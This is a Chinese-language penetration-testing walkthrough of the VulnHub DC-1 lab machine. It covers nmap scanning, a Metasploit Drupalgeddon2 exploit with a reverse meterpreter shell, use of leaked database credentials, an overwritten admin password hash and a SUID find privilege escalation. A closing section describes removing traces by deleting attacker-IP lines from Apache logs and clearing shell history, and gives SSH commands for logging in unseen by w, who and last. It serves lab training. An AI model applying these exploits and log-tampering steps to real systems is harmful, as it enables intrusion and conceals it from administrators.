长亭百川云 - 文章详情

DC-1综合渗透从外网打到内网,msf后渗透,权限提升,入侵痕迹清除,干货!建议收藏

游不动的小鱼丶

54

2024-08-18

 加入交流群,一起成为网安高手

前言

由于传播、利用本公众小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!

本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

攻击机:kali,自行准备

信息收集

开启靶机,切换net/桥接模式

nmap探测主机存活80/sP探测

❝> nmap的基本使用,以及高级用法文章参考

内网隐蔽扫描,Nmap高级用法

1nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式
1# 或者
2 nmap -sP 192.168.209.0/24  # -sP这个选项是用来指定一个主机发现方法。

靶机端口扫描,开放了22、80、111、34471端口

1nmap 192.168.209.157 -p- -v

访问http服务的80端口,进入到web界面,有一个登录

sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入

注册一个用户试试,他还要发送邮件,并没有让我们填写密码

需要批准之后才能注册用户

由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用

访问

也没发现什么有用的内容

在这里没用,应该是一个api接口

还有一些七七八八的就不看了,基本没啥作用的

漏洞探测

使用 whatweb (kali自带)指纹识别,找到目标cms的版本和其他信息

1whatweb -v 192.168.209.157

msf漏洞利用

msf漏洞利用神器,直接搜索 Drupal 这些模块

1msfconsole
2search Drupal

使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的

1show payloads

我们使用第二个模块试试

1use unix/webapp/drupal_drupalgeddon2
2# 或者
3use 1
4# 然后
5show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中

设置payload为tcp反弹shell

1set payload payload/php/meterpreter/reverse_tcp

当然也可以使用tcp正向连接

1set payload payload/php/meterpreter/bind_tcp

❝> 正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听

反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。

主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问 外网靶机 ,反向连接需要两个机器都需要能互相ping

这里就使用反向连接来测试

如果出现如下错误多半是防火墙端口没有放行

就是配置下的本地监听端口

使用iptables放行端口

1sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT

这个时候重新开始攻击即可

1run
2getuid

后渗透

查看系统信息

1sysinfo

获取shell

1shell

上面终端显示的样子不好看,使用python调用系统终端

1python -c "import pty;pty.spawn('/bin/bash')"

这样子就好看多了

找到flag1.txt

他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下

1find . -name 'set*'

又给了你一个提示

What can you do with these credentials?

你能用这些凭证做什么?

1$databases = array (
2  'default' =>
3  array (
4    'default' =>
5    array (
6      'database' => 'drupaldb',
7      'username' => 'dbuser',
8      'password' => 'R0ck3t',
9      'host' => 'localhost',
10      'port' => '',
11      'driver' => 'mysql',
12      'prefix' => '',
13    ),
14  ),
15);

那当然是连接 本地数据库

1mysql -udbuser -pR0ck3t

查看所有数据库

切换到这个站点的数据库,并查看有什么表

1use drupaldb
2show tables;

找到有一个users表

里面包含用户名/密码信息

1select * from users;

这样子不好看,那么我们就加一个\G

1select * from users\G;

不知道是什么加密, 文心一言 说还加了盐,那么我们只能去找这个hash规则的文件了

从当前站点目录查找这个文件,并发现有一个 password-hash.sh 文件

1find . -name '*hash*'

在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示

那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?

把他复制下来

1$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq

进入mysql

1mysql -udbuser -pR0ck3t

修改密码

1update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';

登录成功了!

这里我们就找到了flag3

点进去找到这个,提示我们去passwd文件看看

提示我们去passwd,找到flag4

1cat /etc/passwd

切换flag4用户下的目录

查看这个文件的权限,尝试追加用户提权,但是只能root读写

1find / -perm -u=s -type f  2>/dev/null
2# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。

使用find提权

1find / -exec "/bin/bash" -p \;

提权成功,找到了最后一个flag

痕迹清除

观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除

对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

1find / -name 'access*'

查看都有一些什么内容

1cat /var/log/apache2/access.log

筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录

1sed -i '/192.168.209.1/d' /var/log/apache2/access.log

❝> 这条命令会直接在原文件中删除所有包含 192.168.209.1 的行。 -i 选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志

1cat /var/log/apache2/access.log

可以看到连同kali(192.168.209.151)的日志一起清除成功了

同理正常请求日志清除了, 错误请求日志 也要删除吧

1find / -name 'error*'
1cat /var/log/apache2/error.log

一大堆kali攻击日志

同理直接使用sed更改

1sed -i '/192.168.209.1/d' /var/log/apache2/error.log

清除成功!

2、密码还原

对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧

登录数据库

1mysql -udbuser -pR0ck3t
1update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";

3、清除数据库日志

没有权限

查看日志状态

1show variables like '%log%';

❝> general_log 是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。

  • general_log 设置为 ON 时,MySQL会记录所有客户端发送给服务器的SQL语句到 general_log_file 指定的文件中。
  • general_log 设置为 OFF 时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。

慢查询日志 slow_query_log 看图也是关闭的

  • slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log
  • slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。

找到这两个日志文件路径,看看有没有,很好没有,这一步跳过

4、清除命令历史

查看自己曾经输入过的命令

1history
1history -c # 清除命令历史

5、登录日志

这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

6、nmap扫描日志

nmap扫描时,如果你指定了输出文件(例如使用 -oN 选项),确保删除这些文件。

清除临时文件,如 /tmp ,查看是否有nmap相关的临时文件,并将其删除。

7、更多

我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知,谢谢

扩展知识

隐身登录系统,不会被w、who、last等指令检测到。

1ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

1ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

❝> 往期文章推荐

一款开源持续更新的后渗透免杀框架

[网鼎杯2018]fakebook靶场思路,MariaDB注入,通关教程

【kali笔记】 Kali Shell编程从基础到进阶

CISP-PTE 综合靶场1 图文解析,msf综合利用MS14-058提权漏洞【附靶场环境】

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2